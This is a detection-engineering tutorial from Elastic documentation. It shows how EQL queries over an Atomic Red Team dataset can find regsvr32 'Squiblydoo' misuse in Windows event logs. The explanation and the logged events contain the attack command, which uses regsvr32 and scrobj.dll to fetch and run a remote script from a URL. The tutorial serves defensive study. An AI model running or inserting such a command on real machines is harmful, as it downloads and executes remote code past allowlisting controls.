Example: Detect threats with EQL
editExample: Detect threats with EQL
editThis example tutorial shows how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you’re tasked with detecting regsvr32 misuse in Windows event logs.
regsvr32.exe
is a built-in command-line utility used to register .dll
libraries in Windows. As a native tool, regsvr32.exe
has a trusted status,
letting it bypass most allowlist software and script blockers.
Attackers with access to a user’s command line can use regsvr32.exe
to run
malicious scripts via .dll
libraries, even on machines that otherwise
disallow such scripts.
One common variant of regsvr32 misuse is a
Squiblydoo attack. In a
Squiblydoo attack, a regsvr32.exe
command uses the scrobj.dll
library to
register and run a remote script. These commands often look like this:
"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
Setup
editThis tutorial uses a test dataset from Atomic Red Team that includes events imitating a Squiblydoo attack. The data has been mapped to Elastic Common Schema (ECS) fields.
To get started:
-
Create an index template with data stream enabled:
response = client.indices.put_index_template( name: 'my-data-stream-template', body: { index_patterns: [ 'my-data-stream*' ], data_stream: {}, priority: 500 } ) puts response
PUT /_index_template/my-data-stream-template { "index_patterns": [ "my-data-stream*" ], "data_stream": { }, "priority": 500 }
-
Download
normalized-T1117-AtomicRed-regsvr32.json
. -
Use the bulk API to index the data to a matching stream:
curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
-
Use the cat indices API to verify the data was indexed:
response = client.cat.indices( index: 'my-data-stream', v: true, h: 'health,status,index,docs.count' ) puts response
GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
The response should show a
docs.count
of150
.health status index docs.count yellow open .ds-my-data-stream-2099.12.07-000001 150
Get a count of regsvr32 events
editFirst, get a count of events associated with a regsvr32.exe
process:
GET /my-data-stream/_eql/search?filter_path=-hits.events { "query": """ any where process.name == "regsvr32.exe" """, "size": 200 }
|
|
Matches any event with a |
|
Returns up to 200 hits for matching events. |
The response returns 143 related events.
{ "is_partial": false, "is_running": false, "took": 60, "timed_out": false, "hits": { "total": { "value": 143, "relation": "eq" } } }
Check for command line artifacts
editregsvr32.exe
processes were associated with 143 events. But how was
regsvr32.exe
first called? And who called it? regsvr32.exe
is a command-line
utility. Narrow your results to processes where the command line was used:
GET /my-data-stream/_eql/search { "query": """ process where process.name == "regsvr32.exe" and process.command_line.keyword != null """ }
The query matches one event with an event.type
of creation
, indicating the
start of a regsvr32.exe
process. Based on the event’s process.command_line
value, regsvr32.exe
used scrobj.dll
to register a script, RegSvr32.sct
.
This fits the behavior of a Squiblydoo attack.
{ ... "hits": { "total": { "value": 1, "relation": "eq" }, "events": [ { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } } ] } }
Check for malicious script loads
editCheck if regsvr32.exe
later loads the scrobj.dll
library:
GET /my-data-stream/_eql/search { "query": """ library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll" """ }
The query matches an event, confirming scrobj.dll
was loaded.
{ ... "hits": { "total": { "value": 1, "relation": "eq" }, "events": [ { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573237450016, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "event": { "category": "library" } } } ] } }
Determine the likelihood of success
editIn many cases, attackers use malicious scripts to connect to remote servers or download other files. Use an EQL sequence query to check for the following series of events:
-
A
regsvr32.exe
process -
A load of the
scrobj.dll
library by the same process - Any network event by the same process
Based on the command line value seen in the previous response, you can expect to find a match. However, this query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior that’s generic enough to detect similar threats.
GET /my-data-stream/_eql/search { "query": """ sequence by process.pid [process where process.name == "regsvr32.exe"] [library where dll.name == "scrobj.dll"] [network where true] """ }
The query matches a sequence, indicating the attack likely succeeded.
{ ... "hits": { "total": { "value": 1, "relation": "eq" }, "sequences": [ { "join_keys": [ 2012 ], "events": [ { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "gl5MJXMBMk1dGnErnBW8", "_source": { "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } }, { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "ol5MJXMBMk1dGnErnBW8", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573237450016, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "event": { "category": "library" } } }, { "_index": ".ds-my-data-stream-2099.12.07-000001", "_id": "EF5MJXMBMk1dGnErnBa9", "_source": { "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573238680000, "destination": { "address": "151.101.48.133", "port": "443" }, "source": { "address": "192.168.162.134", "port": "50505" }, "event": { "category": "network" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" }, "network": { "protocol": "tcp", "direction": "outbound" } } } ] } ] } }